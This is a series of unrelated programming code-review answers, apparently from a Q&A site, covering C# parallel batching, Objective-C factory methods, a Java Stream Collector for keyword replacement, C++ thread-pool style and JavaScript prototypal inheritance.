
recordIds
    .SplitIntoBatches(Settings.Default.WorkerThreads)
    .AsParallel()
    .WithDegreeOfParallelism(Settings.Default.WorkerThreads)
    .ForAll(batch => SetOwner(batch));

public static IEnumerable<IEnumerable<T>> SplitIntoBatches<T>(this IEnumerable<T> items, int numberOfBatches)
{
    var batchSize = (items.Count() + numberOfBatches - 1) / numberOfBatches;
    for (int i = 0; i < numberOfBatches; i++)
        yield return items.Skip(i * batchSize).Take(batchSize);
}


Custom iOS chat interface design & functionality

[ChatController new];
This is perfectly fine syntax, but an Objective-C purists doesn't necessarily like the new method that much.  new is simply an NSObject method that looks like this:
+ (instancetype)new {
    return [[self alloc] init];
}

And as such, anything that inherits from NSObject will have this method.  But the only reason it exists as far as I know is for something like a security blanket for people coming from other languages where object instantiation might look something like this:
ChatController *chatController = new ChatController();

They want to hang on to their new keyword--their clue that they're instantiating a new object.  And while this is fine for those who choose to use it, a complete class would write its own factory method(s) in addition to the default one inherited from NSObject.
NSArray, NSDictionary, NSNumber, NSDate, etc, etc, etc.  Most of the Foundation classes have their own method that does something similar to what the new method does.  You would be wise to follow suite with a method that looks something like this:
+ (instancetype)chatController {
    return [[self alloc] init];
}

Now, someone like me who prefers doing things the real Objective-C way can do [ChatController chatController] in place of new.
As someone who might use a library like yours, the existence of such a method tells me that you've paid some attention to your instantiation methods and aren't relying on those inherited from NSObject.  This assures me that any instance variables that need to be set before I call any methods (if any at all) are definitely going to be set.
As a note, if you override init, this instance variables will still be set when calling new, because remember, new is simply return [[self alloc] init]; so it calls the init method you wrote.

The fact of the matter is though, whether we use [ChatController new];, [ChatController alloc] init];, or [ChatController chatController];, your class isn't completely ready to use.
What would happen if I presented an instance of your ChatController class before I set the delegate, chatTitle, and opponentImg?  Hopefully, you've written the class in such a way that nil or an empty string is a perfectly fine title, and that nil for opponentImg causes no problems.  But what about the delegate?
Sometimes, objects that can have a delegate function somewhat fine without a delegate.  For example, a tableview has a delegate property, but it also has a datasource property.  The datasource fills the table with information.  The delegate handles user interaction with the table.  But if you don't need to respond to any of the user interactions and only need the table to display information to a user, your table will function just fine without a delegate.  (And a table with static information doesn't need a datasource--the static cells can be completely created in IB).
Is this the case with your ChatController?  Can it function just fine without a delegate?
If these three properties are all truly optional and the class works just fine if they're all set to nil, then you're fine as you are and the following information would be something optional to consider, purely a nicety (one which I always include in my classes).  However, if these properties are not optional and it's not okay to set them to nil, then you really need to implement some factory methods.
Assuming only the delegate is necessary, first we'll create a new init method:
- (id)initWithDelegate:(id<ChatControllerDelegate>)delegate {
    self = [super init];
    if (self) {
        _delegate = delegate;
    }
    return self;
}

This method takes the delegate as an argument and sets this property upon while it's doing its initializing.  But as is, we have to write:
ChatController *chatController = [[ChatController alloc] initWithDelegate:self];

So let's wrap it in a factory method:
+ (instancetype)chatControllerWithDelegate:(id<ChatControllerDelegate>)delegate {
    return [[self alloc] initWithDelegate:delegate];
}

Now, it's as simple as this:
ChatController *chatController = [ChatController chatControllerWithDelegate:self];

Following this same pattern, you should include a factory method that sets all the properties that a user is likely to want to set before doing anything with the object.  For example:
- (id)initWithDelegate:(id<ChatControllerDelegate>)delegate
             chatTitle:(NSString*)chatTitle
         opponentImage:(UIImage*)opponentImage {
    self = [super init];
    if (self) {
        _delegate = delegate;
        _chatTitle = chatTitle;
        _opponentImage = opponentImage;
    }
    return self;
}

+ (instancetype)chatControllerWithDelegate:(id<ChatControllerDelegate>)delegate
                                 chatTitle:(NSString*)chatTitle
                             opponentImage:(NSString*)opponentImage {
    return [[self alloc] initWithDelegate:delegate
                                chatTitle:chatTitle
                            opponentImage:opponentImage];
}


Idiomatic approach to applying a keyword replace algorithm to a Java 8 Stream

Bug:

Calling toString  repeatedly will append the last keyword (or the buffer) multiple times. This is not really in line with how this should work.

Conventions:

Java coding conventions state that member names should be lowerCamelCase. the fields related to the keyword trie do not follow that convention.

Another convention that you seem to disregard here is that Tries usually enable quick searching through strings by virtue of allowing skipping characters before doing the next comparison. As such naming the KeywordTrie as "Trie" is not really correct.

Minor simplifications & fixes:

You should specify explicit visibilities on all your fields. It's almost never appropriate to use the default visibility in java. package-private is almost always wrong.

The names you're using are somewhat wordy for my own taste as well.

In addition you can initialize fields in a field initializer instead of the constructor to make the ctor simpler to read. Consider:

public class Replacer [...] {
    private StringBuffer out = new StringBuffer();
    private StringBuffer buffer = new StringBuffer();
    private KeywordTrieNode currentNode;
    private KeywordTrieNode trieRoot;

Design issues:

A consumer should not return a result. That's not what they do. They take an element and that's it.

What you have here is a Collector. Something that takes a Stream and collapses it into a value. Let's make sure we use the correct interface here:

public class Replacer implements Collector<Character, StringBuilder, String> {

This in turn gives us the following functions to implement:

BiConsumer<StringBuffer, Character> accumulator()
Set<Consumer.Characteristics> characteristics()
BinaryOperator<StringBuffer> combiner()
Function<StringBuffer, String> finisher()
Supplier<StringBuffer> supplier()

Let's start with the important stuff that governs how the Collector will be used by the Stream implementation. Our collector is Ordered, Sequential and changes stuff when the finisher is invoked. This means that none of the Characteristics for optimization apply:

public Set<Collector.Characteristics> characteristics() {
    return Collections.emptySet();
}

Now we can deal with the stuff that we need to set up:

public BinaryOperator<StringBuffer> combiner() {
    // explicitly doesn't do anything, supplier always returns the same object
    return (a, b) -> a;
}

public Supplier<StringBuffer> supplier() {
    return () -> {
        return out;
    };
}

Note that I assume we're using the same private fields (and constructor) as in the question, because they seem like an acceptable encapsulation of the problem you're trying to solve.

Now we need to implement the accumulation, this is basically your "accept":

public BiConsumer<StringBuffer, Character> accumulator() {
    return (out, character) -> {
        KeywordTrieNode next = currentNode.get(character);
        if (next != null) {
            buffer.append(character);
            currentNode = next;
        } else {
            String keyword = currentNode.get();
            out.append(keyword == null ? buffer : keyword)
               .append(character);
            buffer = new StringBuilder();
            currentNode = trieRoot;
        }
    };
};

public Function<StringBuffer, String> finisher() {
    return (out) -> {
        String keyword = currentNode.get();
        out.append(keyword == null ? buffer : keyword);
        return out.toString();
    };
}

With this implementation we can rewrite your replace function to look as follows:

public String replace(IntStream chars) {
     return chars.collect(new Replacer(keywordTrieRoot));
}


Writing a function to add or modify an existing object inside an array

Why are you using an array to do the job of a map? Use the right data structures....

... instead, use a hashmap (associative array) of [id, quantity]. If id exists in hashmap, then increment up the value at hashmap[id].


A few minor points, mostly related to coding style and practices:

The non-copyable pattern is somewhat outdated since C++11 deleteable methods. Some might also argue that explicitly deleting the copy constructor and assignment operator is more clear too. Refer to this SO question.
Names starting with an underscore are somewhat contrived in the C++ language. For class members, this naming convention is not ilegal, but you might want to consider other options, such as the m_ prefix or an underscore at the end instead. Refer to this SO question for more on the subject.
I would name wait() as waitAll() or similar, to make it explicit that it will wait for all current tasks to complete.
In the implementation of ThreadPool::wait(), you should probably be using std::this_thread::yield instead of sleep_for.
You could go for an auto & in this loop:

   for ( std::thread& w: _workers )

to facilitate maintenance if you ever change the contents of _workers by some other type.
For absolute consistency, size_t is a member of namespace std, so it should be used as std::size_t.


Encapsulating Complex Calculation in JavaScript

diameter: 1.9583 * level,
height: 0.2937 * level,
length: 15.9583 * level,

It might be wise to actually put these numbers in a constant and naming them appropriately. That way, in the long run, you won't forget what these values are.

return (/* stuff */);

I notice you also use parens in your returns. Unless they're a personal preference, they're actually optional (What do you think this is? PHP? :P)

Now this code appears to benefit more using prototypal inheritance rather than a factory pattern. That's because every time you call hprVessel, it builds an object of functions. With prototypal inheritance, your instance will only hold instance properties, aka "vessel-specific data". The functions will be shared across your vessel instances via the prototype.

Here's a short example:

function HPRVessel(level, temp){

  // Instance data, aka vessel-specific data
  this.temp = temp;
  this.level = level;
  this.diameter = HPRVessel.SOME_CONSTANT * level,
  this.height = HPRVessel.ANOTHER_COSNTANT * level,
  this.length = HPRVessel.YET_ANOTHER_CONSTANT * level,

}

// pseudo-static properties
// Here we append general HPRVessel constants
HPRVessel.liquidCoefficients = [
  83.4485407734612,
  -0.111449280945489,
  0.000100022560084721,
  -0.00000206240663899928
];

HPRVessel.SOME_CONSTANT = 1.9583
HPRVessel.ANOTHER_COSNTANT = 0.2937
HPRVessel.YET_ANOTHER_CONSTANT = 15.9583

// Here, we define shared stuff. Best practice is to just put methods on it.
HPRVessel.prototype.getCharge = function(){
  // Anything on the instance is accessible via `this`
  return this._chargeHPR(this.temp);
};

// Since there's no "private", we use the convention of prefixing `_` to tell
// curious people not to call these methods directly
HPRVessel.prototype._chargeHPR= function(){
  return (1000 + this._getLiquidCharge(this.temp) + this._getVaporCharge(this.temp));
};

// Usage:
var vessel = new HPRVessel(1, -30);
var result = vessel.getCharge();